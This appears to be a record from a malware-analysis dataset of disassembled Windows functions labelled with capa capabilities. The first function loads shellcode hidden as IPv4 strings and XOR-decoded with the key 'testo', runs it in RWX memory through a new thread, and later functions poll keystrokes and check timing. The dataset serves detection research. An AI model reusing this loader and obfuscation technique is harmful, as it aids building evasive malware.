joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 0x228
lea rcx, str._i__SizeOf_buf_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x228
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x1400010ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rbp - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rsi
mov rdx, rbp
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r15
call fcn.140001010
xor edi, edi
mov qword [rsp + 0x30], 0
lea r12, str.136.45.240.144
xor esi, esi
mov rbx, r12
lea r15, [0x140005268]
nop word [rax + rax]
mov rcx, qword [rbx]
lea r8, [rsp + 0x30]
movsxd r9, edi
xor edx, edx
add r9, rbp
call qword [sym.imp.ntdll.dll_RtlIpv4StringToAddressA]
test eax, eax
js 0x14000125b
add edi, 4
inc esi
add rbx, 8
cmp rbx, r15
jl 0x140001140
xor eax, eax
lea rdx, [rbp + 2]
lea r9, str.testo
lea r8d, [rax + 0x2e]
nop dword [rax]
xor ecx, ecx
lea rdx, [rdx + 6]
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 8], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 7], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 6], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 5], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 4], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 5
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 3], al
lea rax, [rcx + 1]
sub r8, 1
jne 0x140001180
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], r8d
xor ecx, ecx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___hit_Enter_To_Exit_...__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x228
mov r8d, 0x4000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001276
movsxd rdx, esi
lea rcx, str.____RtlIpv4StringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov r12, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rbp
ret
Function at 0x140001e80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_TerminateProcess
jne 0x140001eca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eca
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ecc
xor al, al
add rsp, 0x28
ret
Function at 0x140002180
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400021a1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400021ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400021d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002229
test ecx, ecx
jle 0x140002209
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002229
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002229
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
cld
add byte [rax], al
add byte [rax], al
invalid
Function at 0x140002250
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002272
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002281
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400022a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400022a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400022e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000237e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000231d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000235e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000237e
cmp rbx, rax
ja 0x140002330
test rbx, rbx
je 0x14000237e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
lock add byte [rax], al
add byte [rax], al
sldt word [rax]
clc
add byte [rax], al
add byte [rax], al
invalid
Function at 0x1400027a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400027cd
xor eax, eax
jmp 0x140002939
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002807
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002807
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002939
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000292c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000284a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002875
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002931
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400028e4
sub eax, 1
je 0x1400028e4
cmp eax, 2
jne 0x14000292c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002931
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002912
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000292c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002931
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003480
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002e40
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002f13
cmp byte [rcx + 0x71], 0
je 0x140002f13
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002f0f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002ed4
sub eax, 1
je 0x140002ed8
cmp eax, 2
jne 0x140002f0f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003480
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002f06
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002f0f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002ebc
xor al, al
jmp 0x140002ebc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003480
add rsp, 0x60
pop rbx
ret

Function at 0x140003e14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003e5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003e5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003e5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003e5e
cmp dword [rcx + 0x84], 0xe
jbe 0x140003e5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003e60
xor al, al
add rsp, 0x28
ret
Function at 0x180005570
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rdi, rdx
mov ecx, 0xb0
lea rdx, [0x1800e4d10]
call fcn.180077154
mov rbx, rax
test rax, rax
je 0x1800057ba
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0xaf
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx + 8]
mov byte [rbx], 1
mov edx, 2
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [rbx + 0x58]
call qword [sym.imp.MSVCP140.dll__Cnd_init_in_situ]
xorps xmm0, xmm0
mov qword [0x1802a6878], rbx
movups xmmword [rbx + 0xa0], xmm0
lea rax, [rsp + 0xa0]
mov dword [rsp + 0x28], 0x20
lea rbx, str.1169759501566623764
mov qword [rsp + 0x20], rax
mov r8, rbx
mov r9d, 0xffffffff
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.180004310
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [0x1802855b0]
mov dword [0x1802aace8], eax
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x180005642
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
test rdi, rdi
je 0x180005662
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x1802a6a80], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [0x1802a6a90], xmm1
jmp 0x180005682
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [0x1802a6a80], xmm0
movups xmmword [0x1802a6a90], xmm0
movups xmmword [0x1802a6aa0], xmm0
lea rcx, [0x1802855b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [0x1802a6cb0], xmm0
movups xmmword [0x1802a6cc0], xmm0
movups xmmword [0x1802a6cd0], xmm0
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
cmp qword [0x1802aadf0], 0
jne 0x1800057c3
mov r8d, 1
lea rax, [0x180282428]
mov edx, r8d
mov qword [0x1802aaf00], rax
sub rdx, rbx
lea rcx, [0x1802aaf20]
lea rax, [rdx + rbx]
cmp rax, 0x40
jae 0x18000570c
movzx eax, byte [rbx]
inc rbx
mov byte [rcx], al
inc rcx
cmp byte [rbx], 0
jne 0x1800056f2
mov rdi, qword [0x1802a6878]
lea rax, [0x1802aaf00]
mov byte [rcx], 0
mov ecx, 8
mov qword [0x1802aadf0], rax
lea rax, [0x180005c80]
mov qword [0x1802aaf10], rax
lea rax, [0x180005c90]
mov qword [0x1802aaf18], rax
xchg byte [rdi], r8b
call fcn.1800770e4
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x180005e30]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
mov qword [rax], rdi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1800057aa
cmp dword [rdi + 0xa8], ebx
jne 0x1800057a3
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rdi + 0xa0], xmm1
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ebx, ebx
mov qword [0x1802a6878], rbx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
Function at 0x180005f50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov edx, dword [rcx]
mov r9d, 0x138
mov r10, rcx
cmp edx, r9d
jne 0x180005fc2
lea r8, [rcx + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x180005f80
mov edx, dword [r10]
jmp 0x1800060c3
cmp edx, 0x270
jb 0x1800060c3
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [rcx + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x180005ff0
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x180006040
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
xor edx, edx
mov qword [r10 + 0x9c0], rcx
mov dword [r10], edx
mov eax, edx
xorps xmm0, xmm0
mov rcx, qword [r10 + rax*8 + 8]
lea eax, [rdx + 1]
mov dword [r10], eax
movabs rdx, 0x38eb3ffff6d3
mov rax, rcx
shr rax, 0x1d
and rax, qword [r10 + 0x1388]
xor rcx, rax
mov rax, rcx
and rax, rdx
shl rax, 0x11
xor rcx, rax
mov rax, rcx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
mov rdx, rcx
shr rdx, 0x2b
xor rdx, rcx
js 0x180006129
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x18010af68]
add rsp, 8
ret
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, qword [0x18010af68]
add rsp, 8
ret
Function at 0x1800065d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, qword [0x1802aadf0]
mov rbx, r8
lea rsi, [rdi + 0x164]
lea rcx, [rdi + 0x16c]
mov dword [rsi], 1
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + 0x168], ebx
add rbx, 8
je 0x1800066ab
mov rax, qword [rdi]
test rax, rax
je 0x18000665b
mov rcx, qword [rax + 8]
cmp rcx, 0xffffffffffffffff
je 0x18000665b
test rsi, rsi
je 0x18000665b
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x18000665b
cmp dword [rsp + 0x40], ebx
je 0x1800066ab
mov r8, qword [rdi + 0x18]
test r8, r8
je 0x18000667a
mov eax, dword [rdi + 8]
dec eax
test eax, 0xfffffffd
jne 0x18000667a
mov ecx, dword [rdi + 0x60]
lea rdx, [rdi + 0x64]
call r8
mov rbx, qword [rdi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov byte [rbx], 0
mov dword [rdi + 8], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x48]
mov al, 1
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180012700
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rcx, rcx
je 0x180012760
mov r8, qword [rcx]
test r8, r8
je 0x180012760
mov r8, qword [r8 + 0x10]
mov eax, 0xffffffff
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x180012720
test ecx, ecx
je 0x18001275d
mov r9d, ecx
lea r10, [0x1801012b0]
nop dword [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
sub r9, 1
jne 0x180012740
not eax
ret
xor eax, eax
ret

Function at 0x180012c40
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
test rcx, rcx
jne 0x180012c4d
xor eax, eax
jmp 0x180012cc6
mov r9, qword [rcx]
test r9, r9
jne 0x180012c59
xor eax, eax
jmp 0x180012cc6
mov r9, qword [r9 + 0x10]
test r9, r9
jne 0x180012c66
xor eax, eax
jmp 0x180012cc6
mov r10, r9
mov qword [rsp + 8], r9
xor edx, edx
mov r8d, 0xffffffff
lea r11, [0x1801012b0]
mov dword [rsp], edx
mov ecx, r8d
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x180012c90
cmp edx, eax
jae 0x180012cbc
movsx eax, byte [r10]
xor rax, rcx
movzx ecx, al
shr r8d, 8
xor r8d, dword [r11 + rcx*4]
inc r10
mov qword [rsp + 8], r10
inc edx
jmp 0x180012c7d
not r8d
mov eax, r8d
jmp 0x180012cc6
add rsp, 0x18
ret

Function at 0x180013150
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x180285430], 0
mov rbx, rcx
je 0x1800131c1
mov ecx, dword [0x1802854f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1800131c1
cmp dword [0x180285444], 1
jne 0x1800131c1
lea rcx, [rbx + 0x98]
cmp rcx, 0x40000
jbe 0x1800131c1
lea rax, [rcx + 8]
movabs rdx, 0x7fffffff0000
cmp rax, rdx
jae 0x1800131c1
mov rcx, qword [rcx]
add rcx, 0x1dc
cmp rcx, 0x40000
jbe 0x1800131c1
lea rax, [rcx + 4]
cmp rax, rdx
jae 0x1800131c1
mov dword [rcx], 0x3c23d70a
add rsp, 0x20
pop rbx
ret

Function at 0x180016d40
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
cmp byte [0x18028532c], 0
jne 0x180016da0
lea rcx, [rsp + 0x30]
mov byte [0x18028532c], 1
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xorps xmm0, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm0, qword [rsp + 0x38]
cvtsi2ss xmm1, qword [rsp + 0x30]
movss dword [0x180285514], xmm0
movss dword [0x18028538c], xmm1
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsp + 0x30]
subss xmm0, dword [0x18028538c]
divss xmm0, dword [0x180285514]
add rsp, 0x28
ret
Function at 0x180018600
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1802853e0]
add rax, 0x40cbe0
call rax
mov rcx, rax
call fcn.1800138a0
mov rbx, rax
test rax, rax
je 0x18001879b
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.180012fa0
cmp dword [rsp + 0x20], 0
je 0x18001879b
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x18001879b
cmp eax, 0xfffffffe
jne 0x18001865f
mov rcx, rbx
add rsp, 0x70
pop rbx
jmp fcn.1800131d0
cmp eax, 3
jne 0x1800186c7
mov rcx, rbx
call fcn.1800131d0
cmp byte [0x180285420], 0
je 0x1800186ba
lea rdx, [rbx + 0x98]
cmp rdx, 0x40000
jbe 0x1800186ba
lea rax, [rdx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x1800186ba
mov rdx, qword [rdx]
add rdx, 0x1dc
cmp rdx, 0x40000
jbe 0x1800186ba
lea rax, [rdx + 4]
cmp rax, rcx
jae 0x1800186ba
mov dword [rdx], 0x3c23d70a
mov rcx, rbx
add rsp, 0x70
pop rbx
jmp fcn.180013150
cmp eax, 2
jne 0x180018720
mov rcx, rbx
call fcn.1800131d0
mov rcx, rbx
call fcn.180013150
cmp byte [0x18028541c], 0
je 0x18001879b
add rbx, 0x98
cmp rbx, 0x40000
jbe 0x18001879b
lea rax, [rbx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001879b
mov rdx, qword [rbx]
add rdx, 0x270
jmp 0x180018786
cmp eax, 0xffffffff
jne 0x18001879b
mov rcx, rbx
call fcn.1800131d0
cmp byte [0x180285426], 0
je 0x18001879b
add rbx, 0x98
cmp rbx, 0x40000
jbe 0x18001879b
lea rax, [rbx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001879b
mov rdx, qword [rbx]
mov r8, rdx
lea r9, [rdx + 0x340]
cmp r9, 0x40000
jbe 0x18001877f
lea rax, [r9 + 4]
cmp rax, rcx
jae 0x18001877f
mov dword [r9], 0x3f800000
lea rdx, [r8 + 0x350]
cmp rdx, 0x40000
jbe 0x18001879b
lea rax, [rdx + 1]
cmp rax, rcx
jae 0x18001879b
mov byte [rdx], 1
add rsp, 0x70
pop rbx
ret
Function at 0x18001a870
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18001a8e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x18001a8e8
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x18001a8d5
nop
cmp rbx, rcx
jae 0x18001a8e8
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x18001a8c0
cmp rbx, rcx
jae 0x18001a8e8
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
jmp 0x18001a8ea
